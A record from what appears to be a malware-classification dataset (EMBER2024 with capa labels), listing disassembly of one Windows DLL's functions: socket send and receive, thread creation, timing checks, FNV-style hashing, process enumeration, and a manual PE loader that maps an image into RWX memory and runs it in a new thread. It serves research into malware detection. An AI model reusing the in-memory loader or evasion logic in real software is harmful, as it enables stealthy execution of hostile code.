joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180013bd0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
lea rax, [0x18011c2b0]
mov qword [rsp + 0x20], rax
mov edx, 0xffffffff
mov rcx, qword [0x18011c2b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, eax
mov dword [rsp + 0x28], eax
mov ecx, dword [0x18011c298]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
jne 0x180013ca2
lea ecx, [rax + 0x78]
call fcn.18008a528
mov rbx, rax
mov qword [rsp + 0x40], rax
lea rax, vtable.CUDTException.0
mov qword [rbx], rax
xor eax, eax
mov qword [rbx + 8], rax
mov qword [rbx + 0x18], rax
mov qword [rbx + 0x28], rax
mov qword [rbx + 0x30], reloc.WS2_32.dll_ntohs
mov byte [rbx + 0x18], al
mov qword [rbx + 0x38], rax
mov qword [rbx + 0x48], rax
mov qword [rbx + 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbx + 0x38], al
mov qword [rbx + 0x58], rax
mov qword [rbx + 0x68], rax
mov qword [rbx + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rbx + 0x58], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbx + 0x10], eax
mov rdx, rbx
mov ecx, dword [0x18011c298]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
lea rcx, [0x18011c2a0]
call fcn.180014c50
mov qword [rax], rbx
mov ecx, dword [0x18011c298]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
cmp edi, 0xffffffff
je 0x180013cc6
mov rcx, qword [0x18011c2b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, rbx
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x1800182d0
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0xb0
mov rbx, rcx
mov dword [rsp + 0x20], 4
lea r9, [rcx + 0x14]
mov edx, 0xffff
mov rcx, qword [rcx + 8]
mov r8d, 0x1002
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x180018395
mov rcx, qword [rbx + 8]
lea r9, [rbx + 0x10]
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0x1001
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x180018395
mov rcx, qword [rbx + 8]
lea r9, [rsp + 0xc0]
mov edx, 0xffff
mov dword [rsp + 0xc0], 1
mov r8d, 0x1006
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x180018367
add rsp, 0xb0
pop rbx
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, 1
lea rcx, [rsp + 0x30]
mov r9d, eax
lea r8d, [rdx + 2]
call fcn.180018870
lea rdx, [0x180115ec0]
lea rcx, [rsp + 0x30]
call fcn.18008cf10
int3
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, 1
lea rcx, [rsp + 0x30]
mov r9d, eax
lea r8d, [rdx + 2]
call fcn.180018870
lea rdx, [0x180115ec0]
lea rcx, [rsp + 0x30]
call fcn.18008cf10
int3
Function at 0x1800183e0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
xor esi, esi
mov rdi, r8
mov r12, rdx
mov r13, rcx
cmp dword [r8 + 0x28], esi
jge 0x180018452
mov eax, dword [r8 + 0x48]
cdq
and edx, 3
add eax, edx
sar eax, 2
movsxd rbp, eax
test eax, eax
jle 0x180018452
mov ebx, esi
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rdi + 0x20]
mov rcx, qword [rax]
mov ecx, dword [rcx + rbx*4]
call qword [sym.imp.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rcx]
mov dword [rdx + rbx*4], eax
inc rbx
cmp rbx, rbp
jl 0x180018430
mov ebp, 4
lea rbx, [rdi + 0x28]
mov r14d, ebp
nop
mov ecx, dword [rbx]
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rbx], eax
lea rbx, [rbx + 4]
sub r14, 1
jne 0x180018460
mov eax, dword [rdi + 0x48]
lea rdx, [rdi + 0x38]
mov rcx, qword [r13 + 8]
lea r9, [rsp + 0x80]
mov qword [rsp + 0x40], rsi
lea r8d, [r14 + 2]
add eax, 0x10
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x80], eax
mov eax, dword [r13 + 4]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], esi
call qword [sym.imp.WS2_32.dll_WSASendTo]
mov r14d, 0xffffffff
lea rbx, [rdi + 0x28]
test eax, eax
cmove r14d, dword [rsp + 0x80]
nop dword [rax + rax]
mov ecx, dword [rbx]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rbx], eax
lea rbx, [rbx + 4]
sub rbp, 1
jne 0x1800184d0
cmp dword [rdi + 0x28], esi
jge 0x180018522
mov eax, dword [rdi + 0x48]
cdq
and edx, 3
add eax, edx
sar eax, 2
movsxd rbx, eax
test eax, eax
jle 0x180018522
nop dword [rax]
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rcx]
mov ecx, dword [rdx + rsi*4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rcx]
mov dword [rdx + rsi*4], eax
inc rsi
cmp rsi, rbx
jl 0x180018500
lea r11, [rsp + 0x50]
mov eax, r14d
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180018550
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov r11, rsp
push rsi
push rdi
sub rsp, 0x68
mov eax, dword [r8 + 0x48]
xor edi, edi
add eax, 0x10
mov qword [r11 - 0x38], rdi
mov dword [r11 + 8], eax
mov r9, rdx
mov eax, dword [rcx + 4]
lea rdx, [r8 + 0x38]
mov rcx, qword [rcx + 8]
mov rsi, r8
mov qword [r11 - 0x40], rdi
lea r8d, [rdi + 2]
mov dword [r11 + 0x18], eax
lea rax, [r11 + 0x18]
mov qword [r11 - 0x48], rax
lea rax, [r11 + 0x20]
mov qword [r11 - 0x50], r9
lea r9, [r11 + 8]
mov qword [r11 - 0x58], rax
mov dword [r11 + 0x20], edi
call qword [sym.imp.WS2_32.dll_WSARecvFrom]
test eax, eax
mov ecx, 0xffffffff
cmove ecx, dword [rsp + 0x80]
test ecx, ecx
jg 0x1800185cd
mov dword [rsi + 0x48], 0xffffffff
lea eax, [rdi - 1]
add rsp, 0x68
pop rdi
pop rsi
ret
mov qword [rsp + 0x60], rbx
lea eax, [rcx - 0x10]
mov qword [rsp + 0x58], rbp
lea rbx, [rsi + 0x28]
mov qword [rsp + 0x50], r14
mov ebp, 4
mov dword [rsi + 0x48], eax
nop dword [rax + rax]
mov ecx, dword [rbx]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rbx], eax
lea rbx, [rbx + 4]
sub rbp, 1
jne 0x1800185f0
mov ecx, dword [rsi + 0x48]
mov rbp, qword [rsp + 0x58]
mov r14, qword [rsp + 0x50]
cmp dword [rsi + 0x28], edi
jge 0x180018655
mov eax, ecx
cdq
and edx, 3
add eax, edx
sar eax, 2
movsxd rbx, eax
test eax, eax
jle 0x180018655
nop dword [rax + rax]
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax]
mov ecx, dword [rcx + rdi*4]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rcx]
mov dword [rdx + rdi*4], eax
inc rdi
cmp rdi, rbx
jl 0x180018630
mov ecx, dword [rsi + 0x48]
mov rbx, qword [rsp + 0x60]
mov eax, ecx
add rsp, 0x68
pop rdi
pop rsi
ret

Function at 0x1800186b0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [0x18011bff0], 0
mov rbx, rcx
mov qword [rcx], rdx
je 0x1800186d1
call fcn.1800187c0
mov qword [rsp + 0x30], rax
jmp 0x1800186f9
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
jne 0x1800186f4
call fcn.1800187c0
imul rax, qword [0x18011c258]
mov qword [rsp + 0x30], rax
jmp 0x1800186f9
mov rax, qword [rsp + 0x30]
cmp rax, qword [rbx]
jae 0x180018751
nop
mov rcx, qword [rbx + 8]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp byte [0x18011bff0], 0
je 0x180018724
call fcn.1800187c0
mov qword [rsp + 0x30], rax
jmp 0x18001874c
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
jne 0x180018747
call fcn.1800187c0
imul rax, qword [0x18011c258]
mov qword [rsp + 0x30], rax
jmp 0x18001874c
mov rax, qword [rsp + 0x30]
cmp rax, qword [rbx]
jb 0x180018700
add rsp, 0x20
pop rbx
ret
Function at 0x18002c610
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
lea rcx, [rbp - 0x30]
call fcn.18005ae80
nop
cmp byte [rbp - 0x10], 0
je 0x18002c744
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
mov edi, 0x7c3f72fb
xor r8d, r8d
mov eax, r8d
mov rbx, qword [rbp - 0x20]
test rbx, rbx
je 0x18002c674
nop dword [rax + rax]
movzx ecx, byte [rax + rdx]
xor ecx, edi
imul edi, ecx, 0x1000193
inc rax
cmp rax, rbx
jb 0x18002c660
cmp edi, dword [0x18011c3bc]
je 0x18002c744
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r8
mov qword [rbp - 0x38], r8
mov edx, 4
lea rcx, [rbp - 0x50]
call fcn.18002c0c0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x38]
mov dword [rdx + rax], ebx
add rax, 4
mov qword [rbp - 0x38], rax
mov rcx, qword [rbp - 0x48]
sub rcx, rdx
mov rdx, qword [rbp - 0x20]
add rdx, rcx
lea rcx, [rbp - 0x50]
call fcn.18002b230
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x50]
add rcx, rbx
mov r8, qword [rbp - 0x20]
call fcn.18008c6d0
add rbx, qword [rbp - 0x20]
mov qword [rbp - 0x38], rbx
xor r9d, r9d
lea r8, [rbp - 0x50]
mov dl, 4
lea rcx, [0x180118fd0]
call fcn.180059d90
mov dword [0x18011c3bc], edi
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x18002c744
mov rdx, qword [rbp - 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002c73e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18002c799
call fcn.18008a564
nop
cmp byte [rbp - 0x10], 0
je 0x18002c781
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x18002c781
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002c77c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18002c793
call fcn.18008a564
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.180090f98
nop
call fcn.180090f98
nop
int3
Function at 0x18002d5e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov ecx, 8
call fcn.18008a528
lea rcx, [0x18002d680]
mov qword [rax], rcx
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x18002e250]
xor edx, edx
xor ecx, ecx
call fcn.180096be4
mov qword [rsp + 0x30], rax
test rax, rax
je 0x18002d65e
cmp dword [rsp + 0x38], 0
je 0x18002d671
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.180089654
test eax, eax
jne 0x18002d656
add rsp, 0x58
ret
mov ecx, eax
call fcn.18008951c
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call fcn.180089558
nop
mov ecx, 1
call fcn.180089558
int3
Function at 0x18002e080
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
ja 0x18002e240
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x18011c348]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x18011c358]
lea rdx, [rdi + rdi]
call fcn.18002d9c0
mov rcx, qword [0x18011c348]
lea r9, [rdi - 1]
mov qword [0x18011c370], r9
mov qword [0x18011c378], rdi
mov rcx, qword [rcx]
mov rdx, rcx
cmp rcx, rbx
je 0x18002e235
mov qword [rsp + 0x38], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
nop word [rax + rax]
movzx eax, byte [rcx + 0x11]
movzx r11d, byte [rcx + 0x10]
mov rdx, qword [rdx]
xor r11, rsi
imul r11, rdi
xor r11, rax
movzx eax, byte [rcx + 0x12]
imul r11, rdi
xor r11, rax
movzx eax, byte [rcx + 0x13]
imul r11, rdi
xor r11, rax
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x18011c358]
mov r10, qword [r11]
cmp r10, rbx
jne 0x18002e172
mov qword [r11], rcx
mov qword [r11 + 8], rcx
jmp 0x18002e1f6
mov rax, qword [r11 + 8]
mov r9d, dword [rcx + 0x10]
cmp r9d, dword [rax + 0x10]
jne 0x18002e1af
mov r10, qword [rax]
cmp r10, rcx
je 0x18002e1a9
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], r10
mov rax, qword [r10 + 8]
mov qword [rax], rcx
mov qword [r10 + 8], r8
mov qword [rdx + 8], r9
mov qword [rcx + 8], rax
mov qword [r11 + 8], rcx
jmp 0x18002e1f6
mov r8, rax
cmp r10, rax
je 0x18002e1d2
nop word [rax + rax]
mov rax, qword [rax + 8]
mov r8, rax
cmp r9d, dword [rax + 0x10]
je 0x18002e20a
cmp r10, rax
jne 0x18002e1c0
mov r10, qword [rcx + 8]
mov qword [r10], rdx
mov r9, qword [rdx + 8]
mov qword [r9], r8
mov rax, qword [r8 + 8]
mov qword [rax], rcx
mov qword [r8 + 8], r9
mov qword [rdx + 8], r10
mov qword [rcx + 8], rax
mov qword [r11], rcx
mov rcx, rdx
cmp rdx, rbx
je 0x18002e230
mov r9, qword [0x18011c370]
jmp 0x18002e120
mov r10, qword [rax]
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], r10
mov rax, qword [r10 + 8]
mov qword [rax], rcx
mov qword [r10 + 8], r8
mov qword [rdx + 8], r9
mov qword [rcx + 8], rax
jmp 0x18002e1f6
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rcx, str.invalid_hash_bucket_count
call fcn.180087d8c
int3
Function at 0x18003a060
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
cmp byte [0x18011c398], 0
je 0x18003a079
xor al, al
add rsp, 0x48
ret
mov byte [0x18011c381], 0
mov ecx, 8
call fcn.18008a528
lea rcx, [0x18003a5f0]
mov qword [rax], rcx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x18002e250]
xor edx, edx
xor ecx, ecx
call fcn.180096be4
mov qword [rsp + 0x30], rax
test rax, rax
je 0x18003a0f6
cmp byte [0x18011c398], 0
je 0x18003a0dc
cmp dword [0x18011c390], 0
jne 0x18003a109
jmp 0x18003a0e3
mov byte [0x18011c398], 1
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [0x18011c388], xmm0
mov al, 1
add rsp, 0x48
ret
mov dword [rsp + 0x38], 0
mov ecx, 6
call fcn.180089558
nop
call fcn.180096cc4
int3
Function at 0x180058700
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x260
mov r14, rcx
cmp edx, 1
jne 0x1800588a9
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x50]
call fcn.18008cd80
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ebx, ebx
mov qword [rsp + 0x30], rbx
test eax, eax
jne 0x1800587c6
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 7
xor r8d, r8d
lea rdx, [0x1800fdbe0]
lea rcx, [rsp + 0x30]
call fcn.18002b6f0
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1800588a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800587bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800588cc
call fcn.18008a564
jmp 0x1800588a9
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 7
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x1800587e0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.18002b6f0
mov rax, qword [rsp + 0x40]
lea rdx, [rax + rax]
lea rcx, [rsp + 0x30]
mov rbp, qword [rsp + 0x48]
mov r8d, 0x65b5d239
cmp rbp, 8
jb 0x180058860
mov rsi, qword [rsp + 0x30]
mov rcx, rsi
call fcn.18005a570
movzx edi, al
xor dil, 1
lea rdx, [rbp*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180058856
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800588cc
mov rcx, rsi
call fcn.18008a564
jmp 0x18005886c
call fcn.18005a570
movzx edi, al
xor dil, 1
mov ecx, reloc.WS2_32.dll_recv
call fcn.18008a528
mov qword [rax], r14
mov byte [rax + 8], dil
test dil, dil
je 0x18005888c
mov rcx, rax
call fcn.180057ed0
jmp 0x1800588a9
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [fcn.180057ed0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
call fcn.180090f98
int3

Function at 0x180058900
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x10], rdx
push rdi
sub rsp, 0x30
mov rbx, r8
mov rsi, rcx
mov ecx, 0x28
call fcn.18008a528
mov rdi, rax
mov qword [rsp + 0x48], rax
mov rdx, rbx
mov rcx, rax
call fcn.18002b530
lea rax, [0x180037fe0]
mov qword [rdi + 0x20], rax
mov qword [rsp + 0x48], rdi
lea rbx, [rsi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
mov r9, rdi
lea r8, [0x180058a20]
xor edx, edx
xor ecx, ecx
call fcn.180096be4
mov qword [rsi], rax
test rax, rax
je 0x180058986
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call fcn.180089558
int3
Function at 0x180059c50
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x50
cmp byte [0x180118fd0], 0
jne 0x180059d3c
mov byte [0x180118fd0], 1
mov ecx, 8
call fcn.18008a528
lea rcx, [0x180059680]
mov qword [rax], rcx
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x18002e250]
xor edx, edx
xor ecx, ecx
call fcn.180096be4
mov qword [rsp + 0x30], rax
test rax, rax
je 0x180059d51
cmp dword [rsp + 0x38], ebx
je 0x180059d60
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.180089654
test eax, eax
jne 0x180059d6b
lea ecx, [rbx + 8]
call fcn.18008a528
lea rcx, [0x1800591a0]
mov qword [rax], rcx
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x18002e250]
xor edx, edx
xor ecx, ecx
call fcn.180096be4
mov qword [rsp + 0x30], rax
test rax, rax
je 0x180059d42
cmp dword [rsp + 0x38], ebx
je 0x180059d73
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.180089654
test eax, eax
jne 0x180059d7e
add rsp, 0x50
pop rbx
ret
mov dword [rsp + 0x38], ebx
mov ecx, 6
call fcn.180089558
nop
mov dword [rsp + 0x38], ebx
mov ecx, 6
call fcn.180089558
nop
mov ecx, 1
call fcn.180089558
int3
mov ecx, eax
call fcn.18008951c
nop
mov ecx, 1
call fcn.180089558
int3
mov ecx, eax
call fcn.18008951c
int3

Function at 0x18005a530
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
cmp qword [rcx + 0x18], 0x10
mov r9, qword [rcx + 0x10]
jb 0x18005a53e
mov rcx, qword [rcx]
xor edx, edx
mov r8d, 0x7c3f72fb
test r9, r9
je 0x18005a566
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rdx
xor eax, r8d
imul r8d, eax, 0x1000193
cmp rdx, r9
jb 0x18005a550
mov eax, r8d
ret

Function at 0x18005a570
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov rdi, rdx
mov rbx, rcx
mov r9, rdx
test rdx, rdx
je 0x18005a5d5
nop dword [rax + rax]
mov r11, rdi
mov r10d, 0x7c3f72fb
mov eax, 0
sub r11, r9
je 0x18005a5ca
nop dword [rax]
nop word [rax + rax]
lea rcx, [rax + r9]
inc rax
movzx edx, byte [rcx + rbx]
xor edx, r10d
imul r10d, edx, 0x1000193
cmp rax, r11
jb 0x18005a5b0
cmp r10d, r8d
je 0x18005a5e2
sub r9, 1
jne 0x18005a590
xor al, al
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret
mov rbx, qword [rsp + 8]
mov al, 1
mov rdi, qword [rsp + 0x10]
ret
Function at 0x18005a8d0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rbp, rcx
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18005a99c
movsxd rsi, dword [rcx + 0x3c]
add rsi, rcx
mov eax, 0x8664
cmp word [rsi + 4], ax
jne 0x18005a99c
mov edx, dword [rsi + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
test rax, rax
jne 0x18005a9ba
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 7
xor r8d, r8d
lea rdx, [0x1800fdbe0]
lea rcx, [rsp + 0x30]
call fcn.18002b6f0
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x18005a99c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005a997
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005aab8
call fcn.18008a564
xor al, al
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret
mov r8d, 0x1000
mov rdx, rbp
mov rcx, r15
call fcn.18008c6d0
movzx ebx, word [rsi + 0x14]
add rbx, 0x2c
xor r14d, r14d
mov edi, r14d
cmp word [rsi + 6], di
je 0x18005aa0a
add rbx, rsi
mov eax, dword [rbx - 4]
test eax, eax
je 0x18005a9fc
mov r8d, eax
mov edx, dword [rbx]
add rdx, rbp
mov ecx, dword [rbx - 8]
add rcx, r15
call fcn.18008c6d0
inc edi
add rbx, 0x28
movzx eax, word [rsi + 6]
cmp edi, eax
jne 0x18005a9e2
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, r15
lea r8, [0x18005a5f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x18005aaa8
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 7
xor r8d, r8d
lea rdx, [0x1800fdbe0]
lea rcx, [rsp + 0x30]
call fcn.18002b6f0
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x18005aa92
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005aa8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005aab8
call fcn.18008a564
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x18005a99c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x18005a99e
call fcn.180090f98
int3
Function at 0x18005acd0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rsi, rcx
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
xor edi, edi
test rax, rax
jne 0x18005ad1b
mov qword [rsi], rdi
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
jmp 0x18005ae4f
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x20], xmm0
mov r14, rdi
mov qword [rsp + 0x30], rdi
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0x64]
call fcn.18008cd80
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov rbx, qword [rsp + 0x28]
test eax, eax
je 0x18005ae36
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], di
lea rax, [rbp - 0x74]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x18005ad84
lea rdx, [rbp - 0x74]
lea rcx, [rsp + 0x38]
call fcn.18002b6f0
nop
cmp rbx, r14
je 0x18005adc9
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbx + 0x10], xmm1
mov eax, 7
mov word [rsp + 0x38], di
add rbx, 0x20
mov qword [rsp + 0x28], rbx
jmp 0x18005adea
lea r8, [rsp + 0x38]
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.18005b950
mov r14, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x50]
cmp rax, 8
jb 0x18005ae23
lea rdx, [rax*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005ae1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005ae6f
call fcn.18008a564
lea rdx, [rsp + 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x18005ad59
